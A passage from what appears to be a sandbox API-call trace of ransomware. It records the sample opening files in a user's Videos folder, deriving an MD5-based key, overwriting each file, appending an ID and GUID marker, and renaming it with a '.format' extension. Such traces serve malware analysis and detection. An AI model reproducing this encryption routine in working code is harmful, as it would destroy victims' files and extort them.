(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\avj6fiez4zaaivinrlw.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.080] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=63528) returned 1 [0069.080] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.083] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf802, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.083] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.083] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.083] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.083] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.083] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xf828, lpOverlapped=0x0) returned 1 [0069.084] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.084] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.084] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.084] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.084] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.085] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.085] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.085] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.085] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.085] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.085] GetLastError () returned 0x0 [0069.085] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.085] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.085] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.085] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xf830) returned 0x32b2f40 [0069.085] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.085] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.085] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xf823, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xf823, lpOverlapped=0x0) returned 1 [0069.086] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.086] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf828, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.086] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.086] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.086] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.086] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.086] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.086] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.086] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.086] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.086] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.086] CloseHandle (hObject=0x5c8) returned 1 [0069.090] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.090] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0069.090] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\AVJ6FiEz4zaaIViNRlw.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\avj6fiez4zaaivinrlw.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\AVJ6FiEz4zaaIViNRlw.flv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\avj6fiez4zaaivinrlw.flv.format")) returned 1 [0069.090] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.090] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.091] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.091] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4792a250, ftCreationTime.dwHighDateTime=0x1d4c745, ftLastAccessTime.dwLowDateTime=0xd1d6aa00, ftLastAccessTime.dwHighDateTime=0x1d4c7c8, ftLastWriteTime.dwLowDateTime=0xd1d6aa00, ftLastWriteTime.dwHighDateTime=0x1d4c7c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WnrIX", cAlternateFileName="")) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.091] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0069.091] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0069.092] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee098 | out: hHeap=0x5d0000) returned 1 [0069.092] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.092] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5571d0, ftCreationTime.dwHighDateTime=0x1d4d1d8, ftLastAccessTime.dwLowDateTime=0x319844b0, ftLastAccessTime.dwHighDateTime=0x1d4d1b7, ftLastWriteTime.dwLowDateTime=0x319844b0, ftLastWriteTime.dwHighDateTime=0x1d4d1b7, nFileSizeHigh=0x0, nFileSizeLow=0x119d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XkvJ3DgV.mp4", cAlternateFileName="")) returned 1 [0069.092] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.092] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.092] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.092] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\XkvJ3DgV.mp4") returned=".mp4" [0069.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\XkvJ3DgV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\xkvj3dgv.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.092] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=72149) returned 1 [0069.092] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.094] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x119af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.094] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.095] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.095] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.095] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.095] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x119d5, lpOverlapped=0x0) returned 1 [0069.096] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.096] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.096] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.096] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.096] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.097] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.097] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.097] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.097] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.097] GetLastError () returned 0x0 [0069.097] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.097] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.097] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.097] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x119e0) returned 0x32b2f40 [0069.097] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.097] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.097] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x119d0, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x119d0, lpOverlapped=0x0) returned 1 [0069.098] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.098] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x119d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.098] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.098] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.098] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.098] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.098] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.098] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.098] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.098] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.098] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.098] CloseHandle (hObject=0x5c8) returned 1 [0069.099] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.099] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0069.099] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.099] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\XkvJ3DgV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\xkvj3dgv.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\3Us5nuIYL1u_RnPPuJ\\XkvJ3DgV.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\3us5nuiyl1u_rnppuj\\xkvj3dgv.mp4.format")) returned 1 [0069.100] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.100] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.101] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5571d0, ftCreationTime.dwHighDateTime=0x1d4d1d8, ftLastAccessTime.dwLowDateTime=0x319844b0, ftLastAccessTime.dwHighDateTime=0x1d4d1b7, ftLastWriteTime.dwLowDateTime=0x319844b0, ftLastWriteTime.dwHighDateTime=0x1d4d1b7, nFileSizeHigh=0x0, nFileSizeLow=0x119d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XkvJ3DgV.mp4", cAlternateFileName="")) returned 0 [0069.101] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0069.101] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0069.101] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.101] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.101] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.102] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.102] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.103] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.103] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.104] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.104] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.104] 